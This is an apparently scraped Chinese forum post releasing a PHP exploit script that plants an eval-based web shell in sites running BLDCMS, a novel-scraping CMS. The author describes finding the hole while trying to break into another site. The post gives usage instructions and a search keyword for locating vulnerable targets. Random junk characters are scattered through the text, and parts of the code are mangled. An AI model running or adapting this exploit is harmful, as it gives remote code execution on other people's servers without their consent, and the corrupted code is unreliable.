BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
' }* h' e7 S% E: s1 O! ?

* k+ G' |% k. s- {0 j话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

6 {; J0 |8 p# A& p既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
. j$ Q& v" F. e/ N1 ?) i' s02.<!--?php
! Z, J* s# Y) j( z$ |9 @1 p2 D/ r03.echo "-------------------------------------------------------------------
2 P7 I0 @7 B7 z# R  s  r% a( Y, D& L04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
) m3 D! P7 j, {06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
1 h. R: `0 \2 q1 {  l! E" O16.--------------------------------------------------------------------\r\n";
, [; J" c: E2 e, D4 M17.$url=$argv[1];
* @+ a  i7 q* x$ z2 V9 S4 Q18.$dir=$argv[2];
8 h8 X9 a8 [) Q; |+ a19.$pass=$argv[3];
1 K- L7 y' k; E; k3 O& o20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
/ B) I5 Z. ^2 v$ X! N22.{exit("请输入参数");}
23.else
24.{
3 r. A2 x% y3 G. v8 o% e: u25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
1 t+ p4 Z4 }/ `6 B7 S4 C2 V26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
) M" A( T$ j9 L: R. y8 k% w# z" d34.$header .= "User-Agent: MSIE\r\n";
0 B: q0 }- l3 x7 N35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
. f1 }1 T1 u5 S+ }& ~% m4 C% M$ J39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
) W/ _; ]  I) w42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
' q; v+ K, u8 G# H* w& D44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
2 K" d# A; a& w; f8 J: d. v4 w48.{
( b6 [% {0 I" Z49.$receive = '';
% B$ m- {$ p) ]2 u50.while (!feof($fp)) {
) y0 y: C; T: z: t9 R. f51.$receive .= @fgets($fp, 1000);
52.}
: a: ~5 K) b; v# U7 D0 r* Z53.@fclose($fp);
9 G" _3 R4 W) L% `54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
: Q- K' L) U) I8 |7 ?/ b1 f( J7 p5 J, G55.
56.GPC是否=off)";
- X2 k) E/ e" b  D( z  L" ]: Q57.}}
58.}
59.}
5 Y, C$ P/ ]0 y60.getshell($url,$pass);
61.?-->

) o! }1 K7 q5 ^' b0 V

  ]$ m. E- F/ t! B; @. X! Bby 数据流
- n2 u5 U( G* M5 W